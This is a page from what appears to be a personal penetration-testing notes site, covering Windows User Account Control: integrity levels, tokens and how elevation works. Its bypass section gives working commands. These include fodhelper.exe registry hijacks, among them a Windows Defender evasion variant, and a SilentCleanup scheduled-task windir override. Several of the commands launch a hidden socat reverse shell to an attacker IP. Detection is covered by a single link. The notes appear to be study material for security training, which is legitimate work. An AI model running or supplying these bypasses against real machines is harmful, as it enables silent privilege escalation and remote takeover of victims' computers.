2022-09-02 09:05:59 +02:00
<!doctype html>
< html lang = "en" >
< center >
< head >
< script src = "https://cdn.jsdelivr.net/npm/fuse.js/dist/fuse.js" > < / script >
2022-09-09 15:41:05 +02:00
< script src = "https://code.jquery.com/jquery-3.5.1.min.js" > < / script >
< script type = "text/javascript" src = "/static/js/auto-complete.js" > < / script >
< script type = "text/javascript" src = "/static/js/lunr.min.js" > < / script >
< script type = "text/javascript" src = "/static/js/search.js" > < / script >
2022-09-02 09:05:59 +02:00
< link rel = "stylesheet" href = "/static/stylesheet.css" >
< link rel = "stylesheet" href = "/static/auto-complete.css" >
< br >
2022-09-09 15:41:05 +02:00
< title > The Real Hugo< / title >
2022-09-02 09:05:59 +02:00
< meta name = "viewport" content = "width=device-width, initial-scale=1" >
< / head >
< body >
<!-- topmenu -->
< div class = "menu" >
2022-09-09 15:41:05 +02:00
< a href = "/" style = "text-decoration:none" > Husk< / a >
2022-09-02 09:05:59 +02:00
< / div >
< div class = "search-container" >
< label for = "search-by" > < i class = "fas fa-search" > < / i > < / label >
< input data-search-input = "" id = "search-by" type = "search" placeholder = "Search..." autocomplete = "off" >
<!-- button type="submit"><i class="search"></i>🔍</button> -->
< span data-search-clear = "" > < i class = "fas fa-times" > < / i > < / span >
< / div >
< / div >
< div class = "menu" >
< / div >
<!-- br><br -->
< / center >
< p > < / p >
< div class = "columns" >
<!-- Sidebar -->
< div class = "column column-1" >
2022-09-09 15:41:05 +02:00
< ul > < details id = enumeration ontoggle = "linkClick(this); return false;" > < summary > Enumeration< / summary > < ul > < details id = containers ontoggle = "linkClick(this); return false;" > < summary > Containers< / summary > < ul > < / ul > < / details > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/enumeration/docs/aws.html" > aws< / a > < / li > < li > < a href = "/enumeration/docs/cewl.html" > cewl< / a > < / li > < li > < a href = "/enumeration/docs/dns.html" > dns< / a > < / li > < li > < a href = "/enumeration/docs/docker_enumeration.html" > docker_enumeration< / a > < / li > < li > < a href = "/enumeration/docs/ffuf.html" > ffuf< / a > < / li > < li > < a href = "/enumeration/docs/gobuster.html" > gobuster< / a > < / li > < li > < a href = "/enumeration/docs/kerberoast.html" > kerberoast< / a > < / li > < li > < a href = "/enumeration/docs/kubectl.html" > kubectl< / a > < / li > < li > < a href = "/enumeration/docs/ldap.html" > ldap< / a > < / li > < li > < a href = "/enumeration/docs/linux_basics.html" > linux_basics< / a > < / li > < li > < a href = "/enumeration/docs/microk8s.html" > microk8s< / a > < / li > < li > < a href = "/enumeration/docs/nfs.html" > nfs< / a > < / li > < li > < a href = "/enumeration/docs/nikto.html" > nikto< / a > < / li > < li > < a href = "/enumeration/docs/nmap.html" > nmap< / a > < / li > < li > < a href = "/enumeration/docs/port_knocking.html" > port_knocking< / a > < / li > < li > < a href = "/enumeration/docs/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/docs/rsync.html" > rsync< / a > < / li > < li > < a href = "/enumeration/docs/rustscan.html" > rustscan< / a > < / li > < li > < a href = "/enumeration/docs/shodan.html" > shodan< / a > < / li > < details id = snmp ontoggle = "linkClick(this); return false;" > < summary > Snmp< / summary > < ul > < li > < a href = "/enumeration/docs/snmp/onesixtyone.html" > onesixtyone< / a > < / li > < li > < a href = "/enumeration/docs/snmp/snmpcheck.html" > snmpcheck< / a > < / li > < / ul > < / details > < li > < a href = "/enumeration/docs/websites.html" > websites< / a > < / li > < li > < a href = "/enumeration/docs/wfuzz.html" > wfuzz< / a > < / li > < li > < a href = "/enumeration/docs/wpscan.html" > wpscan< / a > < / li > < / ul > < / details > < details id = network_scanners ontoggle = "linkClick(this); return false;" > < summary > Network_scanners< / summary > < ul > < / ul > < / details > < details id = windows ontoggle = "linkClick(this); return false;" > < summary > Windows< / summary > < ul > < li > < a href = "/enumeration/windows/bloodhound.html" > bloodhound< / a > < / li > < li > < a href = "/enumeration/windows/event_log.html" > event_log< / a > < / li > < li > < a href = "/enumeration/windows/manual_enum.html" > manual_enum< / a > < / li > < li > < a href = "/enumeration/windows/powershell.html" > powershell< / a > < / li > < li > < a href = "/enumeration/windows/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/windows/sysinternals.html" > sysinternals< / a > < / li > < li > < a href = "/enumeration/windows/sysmon.html" > sysmon< / a > < / li > < li > < a href = "/enumeration/windows/vss.html" > vss< / a > < / li > < / ul > < / details > < / ul > < / details > < details id = exploit ontoggle = "linkClick(this); return false;" > < summary > Exploit< / summary > < ul > < details id = CPUs ontoggle = "linkClick(this); return false;" > < summary > CPUs< / summary > < ul > < li > < a href = "/exploit/CPUs/meltdown.html" > meltdown< / a > < / li > < / ul > < / details > < details id = binaries ontoggle = "linkClick(this); return false;" > < summary > Binaries< / summary > < ul > < li > < a href = "/exploit/binaries/Shellcode.html" > Shellcode< / a > < / li > < li > < a href = "/exploit/binaries/aslr.html" > aslr< / a > < / li > < details id = buffer_overflow ontoggle = "linkClick(this); return false;" > < summary > Buffer_overflow< / summary > < ul > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64.html" > amd64< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64_instructions.html" > amd64_instructions< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/buffer_overflow.html" > buffer_overflow< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html" > cut_stack_in_half< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html" > pwntools_specifics< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html" > ret_address_reuse< / a > < / li > < / ul > < / details > < li > < a href = "/exploit/binaries/buffer_overflow/ropping.html" > ropping< / a > < / li > < / ul > < / details > < details id = canary_bypass ontoggle = "l
2022-09-02 09:05:59 +02:00
< / ul >
< / div >
< div class = "column column-2" >
< span class = "body" >
< style > p r e { l i n e - h e i g h t : 1 2 5 % ; }
td.linenos .normal { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
td.linenos .special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos.special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
.codehilite .hll { background-color: #2C3B41 }
.codehilite .c { color: #546E7A; font-style: italic } /* Comment */
.codehilite .err { color: #FF5370 } /* Error */
.codehilite .esc { color: #89DDFF } /* Escape */
.codehilite .g { color: #EEFFFF } /* Generic */
.codehilite .k { color: #BB80B3 } /* Keyword */
.codehilite .l { color: #C3E88D } /* Literal */
.codehilite .n { color: #EEFFFF } /* Name */
.codehilite .o { color: #89DDFF } /* Operator */
.codehilite .p { color: #89DDFF } /* Punctuation */
.codehilite .ch { color: #546E7A; font-style: italic } /* Comment.Hashbang */
.codehilite .cm { color: #546E7A; font-style: italic } /* Comment.Multiline */
.codehilite .cp { color: #546E7A; font-style: italic } /* Comment.Preproc */
.codehilite .cpf { color: #546E7A; font-style: italic } /* Comment.PreprocFile */
.codehilite .c1 { color: #546E7A; font-style: italic } /* Comment.Single */
.codehilite .cs { color: #546E7A; font-style: italic } /* Comment.Special */
.codehilite .gd { color: #FF5370 } /* Generic.Deleted */
.codehilite .ge { color: #89DDFF } /* Generic.Emph */
.codehilite .gr { color: #FF5370 } /* Generic.Error */
.codehilite .gh { color: #C3E88D } /* Generic.Heading */
.codehilite .gi { color: #C3E88D } /* Generic.Inserted */
.codehilite .go { color: #546E7A } /* Generic.Output */
.codehilite .gp { color: #FFCB6B } /* Generic.Prompt */
.codehilite .gs { color: #FF5370 } /* Generic.Strong */
.codehilite .gu { color: #89DDFF } /* Generic.Subheading */
.codehilite .gt { color: #FF5370 } /* Generic.Traceback */
.codehilite .kc { color: #89DDFF } /* Keyword.Constant */
.codehilite .kd { color: #BB80B3 } /* Keyword.Declaration */
.codehilite .kn { color: #89DDFF; font-style: italic } /* Keyword.Namespace */
.codehilite .kp { color: #89DDFF } /* Keyword.Pseudo */
.codehilite .kr { color: #BB80B3 } /* Keyword.Reserved */
.codehilite .kt { color: #BB80B3 } /* Keyword.Type */
.codehilite .ld { color: #C3E88D } /* Literal.Date */
.codehilite .m { color: #F78C6C } /* Literal.Number */
.codehilite .s { color: #C3E88D } /* Literal.String */
.codehilite .na { color: #BB80B3 } /* Name.Attribute */
.codehilite .nb { color: #82AAFF } /* Name.Builtin */
.codehilite .nc { color: #FFCB6B } /* Name.Class */
.codehilite .no { color: #EEFFFF } /* Name.Constant */
.codehilite .nd { color: #82AAFF } /* Name.Decorator */
.codehilite .ni { color: #89DDFF } /* Name.Entity */
.codehilite .ne { color: #FFCB6B } /* Name.Exception */
.codehilite .nf { color: #82AAFF } /* Name.Function */
.codehilite .nl { color: #82AAFF } /* Name.Label */
.codehilite .nn { color: #FFCB6B } /* Name.Namespace */
.codehilite .nx { color: #EEFFFF } /* Name.Other */
.codehilite .py { color: #FFCB6B } /* Name.Property */
.codehilite .nt { color: #FF5370 } /* Name.Tag */
.codehilite .nv { color: #89DDFF } /* Name.Variable */
.codehilite .ow { color: #89DDFF; font-style: italic } /* Operator.Word */
.codehilite .w { color: #EEFFFF } /* Text.Whitespace */
.codehilite .mb { color: #F78C6C } /* Literal.Number.Bin */
.codehilite .mf { color: #F78C6C } /* Literal.Number.Float */
.codehilite .mh { color: #F78C6C } /* Literal.Number.Hex */
.codehilite .mi { color: #F78C6C } /* Literal.Number.Integer */
.codehilite .mo { color: #F78C6C } /* Literal.Number.Oct */
.codehilite .sa { color: #BB80B3 } /* Literal.String.Affix */
.codehilite .sb { color: #C3E88D } /* Literal.String.Backtick */
.codehilite .sc { color: #C3E88D } /* Literal.String.Char */
.codehilite .dl { color: #EEFFFF } /* Literal.String.Delimiter */
.codehilite .sd { color: #546E7A; font-style: italic } /* Literal.String.Doc */
.codehilite .s2 { color: #C3E88D } /* Literal.String.Double */
.codehilite .se { color: #EEFFFF } /* Literal.String.Escape */
.codehilite .sh { color: #C3E88D } /* Literal.String.Heredoc */
.codehilite .si { color: #89DDFF } /* Literal.String.Interpol */
.codehilite .sx { color: #C3E88D } /* Literal.String.Other */
.codehilite .sr { color: #89DDFF } /* Literal.String.Regex */
.codehilite .s1 { color: #C3E88D } /* Literal.String.Single */
.codehilite .ss { color: #89DDFF } /* Literal.String.Symbol */
.codehilite .bp { color: #89DDFF } /* Name.Builtin.Pseudo */
.codehilite .fm { color: #82AAFF } /* Name.Function.Magic */
.codehilite .vc { color: #89DDFF } /* Name.Variable.Class */
.codehilite .vg { color: #89DDFF } /* Name.Variable.Global */
.codehilite .vi { color: #89DDFF } /* Name.Variable.Instance */
.codehilite .vm { color: #82AAFF } /* Name.Variable.Magic */
.codehilite .il { color: #F78C6C } /* Literal.Number.Integer.Long */< / style >
< div class = "column column-3" >
< ul >
< li > < a href = "#user-account-control" > User Account Control< / a > < ul >
< li > < a href = "#login-tokens" > Login Tokens< / a > < / li >
< li > < a href = "#user-account-control-settings" > User Account Control Settings< / a > < / li >
< li > < a href = "#how-uac-works" > How UAC Works< / a > < / li >
< li > < a href = "#bypass" > Bypass< / a > < ul >
< li > < a href = "#gui" > GUI< / a > < ul >
< li > < a href = "#msconfig" > msconfig< / a > < / li >
< li > < a href = "#azmanmsc" > azman.msc< / a > < / li >
< li > < a href = "#autoelevate-process" > Autoelevate Process< / a > < / li >
< / ul >
< / li >
< li > < a href = "#commandline" > Commandline< / a > < ul >
< li > < a href = "#fodhelperexe" > Fodhelper.exe< / a > < / li >
< / ul >
< / li >
< li > < a href = "#scheduled-tasks" > Scheduled Tasks< / a > < / li >
< li > < a href = "#automated-bypass" > Automated Bypass< / a > < / li >
< / ul >
< / li >
< li > < a href = "#detection" > Detection< / a > < / li >
< / ul >
< / li >
< / ul >
< / div >
< h1 id = "user-account-control" > User Account Control< / h1 >
< ul >
< li > Change permissions of a process or its resources< / li >
< li > Mandatory Integrity Control (MIC)< / li >
< li > Feature of MAC, assigns integrity level on permissions< ul >
< li > Low< / li >
< li > Medium< / li >
< li > High< / li >
< li > System< / li >
< / ul >
< / li >
< / ul >
< h2 id = "login-tokens" > Login Tokens< / h2 >
< ul >
< li > Access tokens are given to users at login< ul >
< li > < strong > Non Administrator Token< / strong > , integrity level low< / li >
< li > < strong > Filtered Token< / strong > , stripped administrative permission, integrity level medium< / li >
< li > < strong > Elevated Token< / strong > , elevates to integrity level high< / li >
< / ul >
< / li >
< / ul >
< h2 id = "user-account-control-settings" > User Account Control Settings< / h2 >
< ul >
< li > < strong > Always notify< / strong > < / li >
< li > < strong > Notify me only when programs try to make changes to my computer< / strong > , shows UAC dialogue< / li >
< li > < strong > Notify me only when programs try to make changes to my computer (do not dim my desktop)< / strong > < / li >
< li > < strong > Never notify< / strong > , never show UAC dialogue< / li >
< / ul >
< h2 id = "how-uac-works" > How UAC Works< / h2 >
< p > Application Information Service, a.k.a Appinfo< / p >
< ul >
< li > User requests elevated permissions< / li >
< li > < code > ShellExecute< / code > API call is made via < code > runas.exe< / code > < / li >
< li > Request to Appinfo< / li >
< li > Application manifest is checked if AutoElevation is set to on< / li >
< li > Appinfo runs < code > consent.exe< / code > , dialogue opens up< / li >
< li > User clicks yes, token is checked. PPID of the newly created porcess will be pointed to the shell from which the request originates, while the login token is elevated. Otherwise it is denied< / li >
< / ul >
< h2 id = "bypass" > Bypass< / h2 >
< ul >
< li > UAC is seen as a convenience function, not a security function< / li >
< li > < code > Mandatory Label< / code > is shown via < code > whoami /groups< / code > < / li >
< / ul >
< h3 id = "gui" > GUI< / h3 >
< h4 id = "msconfig" > msconfig< / h4 >
< ul >
< li > Open < code > msconfig< / code > , always got integrity level high via auto elevation< / li >
< li > On Tab < code > Tools< / code > choose < code > Command Prompt< / code > and press < code > Launch< / code > to get an elevated < code > cmd.exe< / code > < / li >
< / ul >
< h4 id = "azmanmsc" > azman.msc< / h4 >
< ul >
< li > Open < code > azman.msc< / code > --> < code > Help< / code > --> < code > Help Topics< / code > < / li >
< li > Right click help article --> < code > view source< / code > < / li >
< li > < code > Open< / code > --> < code > File< / code > , select < code > All Files< / code > < / li >
< li > Dialogue opens up, go to < code > C:\Windows\System32\cmd.exe< / code > and right click on it to open < / li >
< / ul >
< h4 id = "autoelevate-process" > Autoelevate Process< / h4 >
< ul >
< li > Binary must be signed< / li >
< li >
< p > Must be in a trusted dir like < code > Program Files< / code > or < code > Windows< / code > < / p >
< / li >
< li >
< p > Additionaly, portable executables need < code > autoelevate< / code > in the manifest. Check via< / p >
< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > sigcheck64.exe -m < portable_executable.exe>
< / code > < / pre > < / div >
< ul >
< li > < code > mmc.exe< / code > autoelevates depending on user request for msc-snapin< / li >
< li > Most < code > *.msc< / code > s, < code > spinstall.exe< / code > , < code > pkgmgr.exe< / code > as well as < a href = "https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker" > COM objects autoelevate< / a > < / li >
< / ul >
< h3 id = "commandline" > Commandline< / h3 >
< h4 id = "fodhelperexe" > Fodhelper.exe< / h4 >
< ul >
< li > Default applications are stored in < code > HKEY_LOCAL_MACHINE\Software\Classes< / code > which is superseded by the current user profile < code > HKEY_CURRENT_USER\Software\Classes< / code > < / li >
< li > < code > ms-settings< / code > ProgID is searched for by < code > fodhelper.exe< / code > , this setting overrides system defaults of which executable opens the filetype< / li >
< li >
< p > The subprocess of < code > fodhelper.exe< / code > inherits intergrity level high< / p >
< / li >
< li >
< p > Open reverse shell on attacker and < / p >
< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > whoami
net user < user> < span class = "p" > |< / span > find < span class = "s2" > " Local Group" < / span >
whoami /groups < span class = "p" > |< / span > find < span class = "s2" > " Label" < / span >
< span class = "nb" > set< / span > < span class = "nv" > REG_KEY< / span > < span class = "o" > =< / span > HKCU< span class = "se" > \S< / span > oftware< span class = "se" > \C< / span > lasses< span class = "se" > \m< / span > s-settings< span class = "se" > \S< / span > hell< span class = "se" > \O< / span > pen< span class = "se" > \c< / span > ommand
< span class = "nb" > set< / span > < span class = "nv" > CMD< / span > < span class = "o" > =< / span > < span class = "s2" > " powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:< / span > < span class = "nv" > $TARGET_IP< / span > < span class = "s2" > :4444 EXEC:cmd.exe,pipes" < / span >
reg add %REG_KEY% /v < span class = "s2" > " DelegateExecute" < / span > /d < span class = "s2" > " " < / span > /f
reg add %REG_KEY% /d %CMD% /f < span class = "p" > & < / span > fodhelper.exe
< / code > < / pre > < / div >
< ul >
< li > Clean up via < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > reg delete HKCU< span class = "se" > \S< / span > oftware< span class = "se" > \C< / span > lasses< span class = "se" > \m< / span > s-settings< span class = "se" > \ < / span > /f
< / code > < / pre > < / div >
< ul >
< li > When Windows Defender is enabled use < a href = "https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses" > v3d3d's improvement for bypassing Windows Defender< / a > < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "nv" > $program< / span > < span class = "o" > =< / span > < span class = "s2" > " powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:< / span > < span class = "nv" > $TARGET_IP< / span > < span class = "s2" > :4445 EXEC:cmd.exe,pipes" < / span >
New-Item < span class = "s2" > " HKCU:\Software\Classes\.pwn\Shell\Open\command" < / span > -Force Set-ItemProperty < span class = "s2" > " HKCU:\Software\Classes\.pwn\Shell\Open\command" < / span > -Name < span class = "s2" > " (default)" < / span > -Value < span class = "nv" > $program< / span > -Force
New-Item -Path < span class = "s2" > " HKCU:\Software\Classes\ms-settings\CurVer" < / span > -Force
Set-ItemProperty < span class = "s2" > " HKCU:\Software\Classes\ms-settings\CurVer" < / span > -Name < span class = "s2" > " (default)" < / span > -value < span class = "s2" > " .pwn" < / span > -Force
Start-Process < span class = "s2" > " C:\Windows\System32\fodhelper.exe" < / span > -WindowStyle Hidden
< span class = "nb" > set< / span > < span class = "nv" > CMD< / span > < span class = "o" > =< / span > < span class = "s2" > " powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:< / span > < span class = "nv" > $TARGET_IP< / span > < span class = "s2" > :4445 EXEC:cmd.exe,pipes" < / span >
reg add < span class = "s2" > " HKCU\Software\Classes\.thm\Shell\Open\command" < / span > /d %CMD% /f
reg add < span class = "s2" > " HKCU\Software\Classes\ms-settings\CurVer" < / span > /d < span class = "s2" > " .thm" < / span > /f
fodhelper.exe
reg delete < span class = "s2" > " HKCU\Software\Classes\.thm\" /f< / span >
< span class = "s2" > reg delete " < / span > HKCU< span class = "se" > \S< / span > oftware< span class = "se" > \C< / span > lasses< span class = "se" > \m< / span > s-settings< span class = "se" > \" < / span > /f
< / code > < / pre > < / div >
< h3 id = "scheduled-tasks" > Scheduled Tasks< / h3 >
< ul >
< li > UAC will not be triggered on scheduled tasks< / li >
< li > DiskCleanup calls < code > %windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%< / code > < / li >
< li > Set < code > %windir%< / code > to a reverse shell via< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > reg add < span class = "s2" > " HKCU\Environment" < / span > /v < span class = "s2" > " windir" < / span > /d < span class = "s2" > " cmd.exe /c C:\tools\socat\socat.exe TCP:< / span > < span class = "nv" > $TARGET_IP< / span > < span class = "s2" > :4711 EXEC:cmd.exe,pipes & REM " < / span > /f
schtasks /run /tn < span class = "se" > \M< / span > icrosoft< span class = "se" > \W< / span > indows< span class = "se" > \D< / span > iskCleanup< span class = "se" > \S< / span > ilentCleanup /I
reg delete < span class = "s2" > " HKCU\Environment" < / span > /v < span class = "s2" > " windir" < / span > /f
< / code > < / pre > < / div >
< h3 id = "automated-bypass" > Automated Bypass< / h3 >
< ul >
< li > < a href = "https://github.com/hfiref0x/UACME.git" > hfiref0x's automated bypass named UCAME< / a > < / li >
< / ul >
< h2 id = "detection" > Detection< / h2 >
< ul >
< li > https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/< / li >
< / ul >
< / span >
< / div >
< / div >
< div id = "footer" >
< p > < / p >
< center >
© Stefan Friese
< / center >
< / div >
< script >
2022-09-09 15:41:05 +02:00
function linkClick(obj) {
2022-09-02 09:05:59 +02:00
if (obj.open) {
2022-09-09 15:41:05 +02:00
//console.log('open');
2022-09-02 09:05:59 +02:00
if (sessionStorage.getItem(obj.id) & & !(sessionStorage.getItem(obj.id) === "open")) {
sessionStorage.removeItem(obj.id);
}
2022-09-09 15:41:05 +02:00
sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
2022-09-02 09:05:59 +02:00
} else {
2022-09-09 15:41:05 +02:00
//console.log('closed');
sessionStorage.removeItem(obj.id);
}
}
2022-09-02 09:05:59 +02:00
2022-09-09 15:41:05 +02:00
let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length ; i + + ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
2022-09-02 09:05:59 +02:00
< / script >
2022-09-09 15:41:05 +02:00
< script async src = "https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type = "text/javascript" > < / script >
2022-09-02 09:05:59 +02:00
< script type = "text/x-mathjax-config" >
2022-09-09 15:41:05 +02:00
MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"]
});
< / script >
2022-09-02 09:05:59 +02:00
< / body >
< / html >